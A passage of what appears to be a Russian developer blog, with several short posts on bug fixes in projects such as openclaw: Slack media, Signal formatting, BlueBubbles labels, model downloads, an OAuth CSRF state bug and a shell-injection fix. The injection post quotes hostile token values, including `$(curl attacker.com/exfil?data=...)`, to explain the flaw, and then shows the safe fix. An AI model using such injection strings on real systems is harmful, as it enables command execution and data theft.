ошибкой, а не с молчаливым зависанием. Ревью архитектуры после этого показало: handlers/\_legacy.py — это 450 строк с глубокой связью на 10+ глобалов. Экстрактить сейчас? Создам просто другую матрёшку. Решил оставить как есть, но запретить им регистрировать роутеры в главном orchestrator'е. Вместо этого — явная инъекция зависимостей через `set_orchestrator()`. **Результат**: handlers.py сократился с 3407 до 2767 строк (-19%). Все 566 тестов проходят. Код больше не боится изменений — каждая зависимость видна явно. И когда кто-то спустя месяц будет копаться в этом коде, он сразу поймёт архитектуру, а не будет ловить призраков в глобалах. А знаете, что смешно? История коммитов проекта выглядит как `git log --oneline`: 'fix', 'fix2', 'fix FINAL', 'fix FINAL FINAL'. Вот к чему приводит отсутствие архитектуры 😄
Как я загрузил 19 ГБ моделей для боевого сервера
Проект **borisovai-admin** требовал срочно поднять локальный сервис распознавания речи. Не облако, не API — всё на месте, потому что задержка в 500 мс уже критична для пользователей. Задача: загрузить 9 разных моделей (от Whisper до ruT5) на выделенный сервер и сделать их доступными по HTTPS. Сначала показалось просто: установил `huggingface_hub`, запустил параллельные скачивания и пошёл пить кофе. Наивность. Первая проблема — модели на HuggingFace содержат не только сами веса, но и конфиги, токенизеры, дополнительные файлы. `ruT5-ASR-large` обещала быть 800 МБ, а приехала полтора гигабайта. Пришлось переоценить дисковое пространство на лету. Вторая беда — Windows. Попытался запустить параллельные загрузки, наткнулся на escaping-ады в путях. Экспортировал в фоновый процесс, дал ему время поработать спокойно. **Faster Whisper** (все 4 версии), **gigaam-v3**, **vosk-model-small-ru** — первый batch уехал быстро. Потом `ruT5-ASR-large` несколько часов грузился, блокируя очередь. Переделал под параллельные batch'и меньшего размера. Третий акт — валидация. После загрузки проверил, что все 9 моделей доступны по HTTPS с поддержкой Range requests (нужно для частичного скачивания). Включил CORS — браузеры должны иметь доступ. Сумме-то вышло: 142 МБ + 464 МБ + 1.5 ГБ + 2.9 ГБ + 1.6 ГБ + 5.5 ГБ + 2.2 ГБ + 4.2 ГБ + 88 МБ = **19 ГБ** на 64 ГБ диске. Занято 32%, дыхание свободное. Интересный факт: когда **HuggingFace** выходит обновление модели, старая версия не удаляется автоматически. Это спасает воспроизводимость, но затягивает диск. Пришлось вручную чистить кэши промежуточных версий. Итог: все 9 моделей работают, сервер отвечает за 50-100 мс, задержка сети больше не критична. Решение масштабируется — если понадобятся ещё модели, диск выдержит в 2-3 раза больше. Кстати, если когда-нибудь будешь настраивать сборщик (вроде Webpack), помни: это как первая любовь — никогда не забудешь, но возвращаться не стоит. 😄
Когда группа видна, а отправитель — нет: история одного бага
# Когда group chat показывает группу, но скрывает отправителя Проект OpenClaw — это не новый стартап, это сложная экосистема для работы с разными мессенджерами. И вот в BlueBubbles, интеграции для синхронизации Apple Messages, обнаружилась тонкая проблема: когда кто-то писал в групповой чат, группа отображалась как группа, но вот кто именно написал сообщение — оставалось загадкой. Представь: на экране видишь «[BlueBubbles] Сообщение пришло в "Друзья на даче"», а автора — хоть ты тресни. Задача была чёткая: сделать, чтобы в групповых чатах группа показывалась нормально, но при этом было видно, кто именно написал. Звучит просто, но в голове разработчика крутилось одно: как это реализовано в других каналах? Потому что вбивать велосипед — верный путь к техдолгу. **Первым делом** достали функцию `formatInboundEnvelope` — она уже использовалась в iMessage и Signal. Оказалось, там логика уже готовая: группе выделяется свой вид в заголовке (envelope header), а имя отправителя добавляется в тело сообщения. Скопировать этот паттерн в BlueBubbles значило привести всё в соответствие с остальной системой. Но тут вылезла вторая проблема: после форматирования сообщения нужно его ещё и обработать правильно. Включили `finalizeInboundContext` — функцию, которая нормализует поля, выставляет правильный ChatType, подставляет ConversationLabel и выравнивает MediaType. То есть применили тот же подход, что в iMessage и Signal. **BodyForAgent** при этом переключили на сырой текст (rawBody) вместо обёрнутого в конверт — иначе агент будет работать с `[BlueBubbles ...] текст сообщения`, а не с чистым текстом. И вот неожиданность: нужно было выровнять `fromLabel` с функцией `formatInboundFromLabel`. Суть в том, что для групп нужно писать «GroupName id:peerId», для личных сообщений — «Name id:senderId» (если имя отличается от ID). Мелкая, казалось бы, деталь, но она делает систему консистентной: везде одинаковый формат. **Интересный факт**: когда разные каналы используют разные форматы одних и тех же данных, это тихий убийца debugging'а. Тестировщик смотрит на iMessage, видит одно, смотрит на BlueBubbles — видит другое. Казалось бы, одна функция, один формат, но нет — каждый канал решил, что сам знает лучше. Поэтому когда разработчик вспомнил о единообразии, это был момент, когда система стала *ровнее*. Результат: BlueBubbles теперь работает как остальные каналы. Групповые чаты показываются группой, отправители видны, ConversationLabel наконец начинает возвращать имя группы вместо undefined. И главное — это не кастомный костыль, а применение существующего паттерна из iMessage и Signal. Система стала более предсказуемой. Теперь, когда приходит сообщение в групповой чат BlueBubbles, всё отображается логично: видна группа, видно, кто пишет, агент получает чистый текст для обработки. Ничего особенного, просто хорошая инженерия. **Разработчик на собеседовании**: «Я умею выравнивать форматы данных между каналами». Интервьюер: «А конкретно?» Разработчик: «Ну, BeautifulSoup, regex и... молитвы к богу синхронизации». 😄
Когда shell выполняет то, чего ты не просил
# Когда shell не в курсе, что ты хочешь Представь ситуацию: ты разработчик в openclaw, работаешь над безопасностью сохранения учётных данных в macOS. Всё казалось простым — берём OAuth-токен от пользователя, кладём его в системный keychain через команду `security add-generic-password`. Дело 10 минут, правда? Но потом коллега задаёт вопрос, которого ты боялся: «А что, если токен содержит что-нибудь подозрительное?» ## История одного $() Задача была в проекте openclaw и относилась к критической — предотвращение shell injection. В коде использовался **execSync**, который вызывал команду `security` через интерпретатор оболочки. Разработчик защищал от экранирования одинарными кавычками, заменяя `'` на `'"'"'`. Типичный трюк, правда? Но вот беда: одинарные кавычки защищают от большинства вещей, но не от *всего*. Если пользователь присылает OAuth-токен вроде `$(curl attacker.com/exfil?data=...)` или использует обратные кавычки `` `id > /tmp/pwned` ``, shell обработает эту подстановку команд ещё *до* того, как начнёт интерпретировать кавычки. Command injection по классике — CWE-78, HIGH severity. Представь масштаб: любой человек с правом выбрать поддельного OAuth-провайдера может выполнить произвольную команду с правами пользователя, на котором запущен gateway. ## execFileSync вместо execSync Решение было гениально простым: не передавать команду через shell вообще. Вместо **execSync** с интерпретатором разработчик выбрал **execFileSync** — функция, которая запускает программу напрямую, минуя `/bin/sh`. Аргументы передаются массивом, а не строкой. Вместо: ``` execSync(`security add-generic-password -U -s "..." -a "..." -w '${токен}'`) ``` Теперь: ``` execFileSync("security", ["add-generic-password", "-U", "-s", SERVICE, "-a", ACCOUNT, "-w", tokenValue]) ``` Красота в том, что OS сама разбирает границы аргументов — никакого shell, никакого интерпретирования метасимволов, токен остаётся просто токеном. ## Маленький факт о системной безопасности Знаешь, в системах Unix уже *десятилетия* говорят: не используй shell для запуска программ, если не нужна shell. Но почему-то разработчики снова и снова создают уязвимости через `execSync` с конкатенацией строк. Это как баг-батарея, которая никогда не кончается. ## Итого Pull request #15924 закрыл уязвимость в момент, когда она была обнаружена. Проект openclaw получил более безопасный способ работы с учётными данными, и никакой `$(whoami)` в OAuth-токене больше не сломает систему. Разработчик выучил (или вспомнил) важный урок: функции типа **execFileSync**, **subprocess.run** с `shell=False` или Go's **os/exec** — это не просто удобство, это *основа* безопасности. Главное? Всегда думай о том, как интерпретируется твоя команда. Shell — могущественная штука, но она должна быть твоим последним выбором, когда нужна *подстановка*, а не просто запуск программы. 😄 Совет дня: если ты вставляешь пользовательские данные в shell-команду, то ты уже потерял игру — выбери другой API.
Когда markdown убивает formatting: история трёх багов в Signal
Представьте себе: сообщение прошло через markdown-парсер, выглядит идеально в превью, но при рендеринге в Signal вдруг... смещение стилей, невидимые горизонтальные линии, списки прыгают по экрану. Именно эту головоломку решала команда OpenClaw в коммите #9781. ## Три слоя проблем Первый слой — **markdown IR** (внутреннее представление). Оказалось, что парсер генерирует лишние переносы между элементами списков и следующими абзацами. Вложенные списки теряют отступы, блокавроты выпускают лишние символы новой строки. Хуже всего — горизонтальные линии вообще молча пропадали вместо того, чтобы отобразиться видимым разделителем `───`. Второй слой — **Signal formatting**. Здесь затаилась коварная ошибка с накопительным сдвигом. Когда в одном сообщении расширялось несколько ссылок, функция `applyInsertionsToStyles()` использовала *исходные* координаты для каждой вставки, забывая про смещение от предыдущих. Результат: жирный текст приземлялся в совершенно неправильное место, как если бы вы сдвинули закладку, но продолжили считать позицию от начала книги. Третий слой — **chunking** (разбиение текста). Старый код полагался на `indexOf`, что было хрупким и непредсказуемым. Нужно было переписать на детерминированное отслеживание позиции с уважением к границам слов, скобкам раскрытых ссылок и корректным смещениям стилей. ## Как это чинили Команда не просто закрыла баги — она переписала логику: - Markdown IR: добавили проверку всех случаев с пробелами, отступами, специальными символами. Теперь горизонтальные линии видны, списки выравнены, блокавроты дышат правильно. - Signal: внедрили *cumulative shift tracking* — отслеживание накопленного смещения при каждой вставке. Плюс переделали `splitSignalFormattedText()` так, чтобы он разбивал по пробелам и новым строкам, не ломал скобки, и корректно пересчитывал диапазоны стилей для каждого чанка. - Тесты: добавили **69 новых тестов** — 51 для markdown IR, 18 для Signal formatting. Это не просто покрытие, это *регрессионные подушки* на будущее. ## Факт о markdown Markdown IR — это промежуточный формат, который сидит между текстом и финальным рендером. Он как сценарий между сценаристом и режиссёром: правильно оформленный сценарий экономит часы на съёмках. Неправильный — и режиссер тратит дни на исправления. ## Итог Баг был системный: не один глюк, а целая цепочка проблем в разных слоях абстракции. Но вот что интересно — команда не прошлась по нему топором, а аккуратно разобрала каждый слой, понял каждую причину, переписала на правильную логику. Результат: сообщения теперь форматируются предсказуемо, стили не смещаются, текст разбивается умно. А коммит #9781 теперь живет в истории как пример того, как **системное мышление** побеждает импульсивные фиксы. P.S. Что сказал Claude при деплое этого коммита? «Не трогайте меня, я нестабилен» 😄
Как мы поймали CSRF-атаку в OAuth: история исправления OC-25
Вчера мне попался один из тех багов, которые одновременно просты и страшны. В проекте **openclaw** обнаружилась уязвимость в OAuth-потоке проекта **chutes** — и она была настолько хитрой, что я сначала не поверил собственным глазам. ## Завязка: криптография проиграла халатности Представьте: пользователь запускает `openclaw login chutes --manual`. Система генерирует криптографически стойкий state-параметр — случайные 16 байт в hex-формате. Это как выдать клиенту уникальный билет в кино и попросить вернуть его при входе. Стандартная защита от CSRF-атак. Но вот беда. Функция `parseOAuthCallbackInput()` получала этот callback от OAuth-провайдера и... просто забывала проверить, совпадает ли state в ответе с тем самым ожидаемым значением. **Был сгенерирован криптографический nonce, но никто его не проверял**. ## Развитие: когда код сам себя саботирует Вторая проблема оказалась ещё коварнее. Когда URL-парсинг падал (например, пользователь вводил код вручную), блок `catch` **сам генерировал matching state**, используя `expectedState`. Представьте парадокс: система ловит ошибку парсинга и тут же создаёт фальшивый state, чтобы проверка всегда прошла успешно. Атакующий мог просто перенаправить жертву на вредоносный URL с подобранным state-параметром, и система бы его приняла. Это как выдать билет, потом спросить у человека "где ваш билет?", он ответит "ну, вот такой", — и вы проверите его по памяти вместо того, чтобы сверить с оригиналом. ## Факт: почему это работало OAuth state-параметр — это классический способ защиты, описанный в RFC 6749. Его задача: гарантировать, что callback идёт именно от авторизованного провайдера, а не из MITM-атаки. Но защита работает только если код **действительно проверяет** state. Здесь же проверка была театром: система шла по сценарию, не глядя на сцену. ## Итог и урок Фикс в PR #16058 добавил то, что должно было быть с самого начала: **реальное сравнение** extracted state с expectedState. Теперь если они не совпадают, callback отклоняется. Catch-блок больше не fabricирует фальшивые значения. Это напомнило мне старую истину: криптография — это не когда ты знаешь алгоритм. Это когда ты его используешь. А ещё это напомнило мне поговорку: **prompt engineering** — единственная профессия, о которой не мечтал ни один ребёнок, но теперь все мечтают объяснить ей, почему их код не работает. 😄
Как Slack потерял свои картинки: история об индексах и массивах
В проекте **OpenClaw** обнаружилась хитрая проблема с обработкой многофайловых сообщений из Slack. Когда пользователь отправлял несколько изображений одновременно, система загружала только первое, остальные просто исчезали. Звучит как обычный баг, но под капотом скрывалась классическая история о рассинхронизации данных. Всё началось с функции `resolveSlackMedia()`. Она работала как конвейер: берёт сообщение, загружает файл, **возвращает результат и выходит**. Всё просто и понятно, пока не нужны вложения по одному. Но когда в сообщении несколько картинок — функция падала после первой, словно устав от работы. Беда была в том, что разработчики забыли основное правило: *не выходи раньше времени*. Решение пришло из соседних адаптеров. **Telegram**, **Line**, **Discord** и **iMessage** давно научились собирать все загруженные файлы в массив перед возвратом. Идея простая: не возвращай результат сразу, накапливай его, а потом отдай весь пакет целиком. Именно это и сделали разработчики — завернули все пути файлов, URL-адреса и типы в соответствующие массивы `MediaPaths`, `MediaUrls` и `MediaTypes`. Но тут начинались настоящие приключения. Когда внизу конвейера код пытался обработать медиа для анализа зрения (vision), подготовки sandbox или создания заметок, он ожидал, что три массива идеально синхронизированы по длине. Каждому файлу должен соответствовать его тип (`application/octet-stream` или более точный MIME). И вот тут обнаружилась вторая подвох: при фильтрации `filter(Boolean)` удалялись записи с пустыми типами, массив сжимался, индексы ломались. Файл номер два становился номером один, и система присваивала неправильный MIME-тип. **Финальный трюк** — заменить фильтр на простую подстановку: если тип не определён, используй универсальный `"application/octet-stream"`. Теперь массивы всегда совпадают по размеру, индексы совпадают, и каждый файл получает свой корректный тип, даже если система не смогла его определить с первого раза. Это хороший пример того, как *контракты между компонентами* (в данном случае — обещание "три массива одинаковой длины") могут молча ломаться, если их не охранять. Один неловкий `filter()` — и вся архитектура начинает пошатываться. --- **Факт о технологиях:** Slack API исторически одна из самых сложных в обработке медиа среди мессенджеров именно потому, что поддерживает множество форматов вложений одновременно. Это требует особой внимательности при синхронизации данных. --- 😄 *Почему Sentry не пришёл на вечеринку? Его заблокировал firewall.*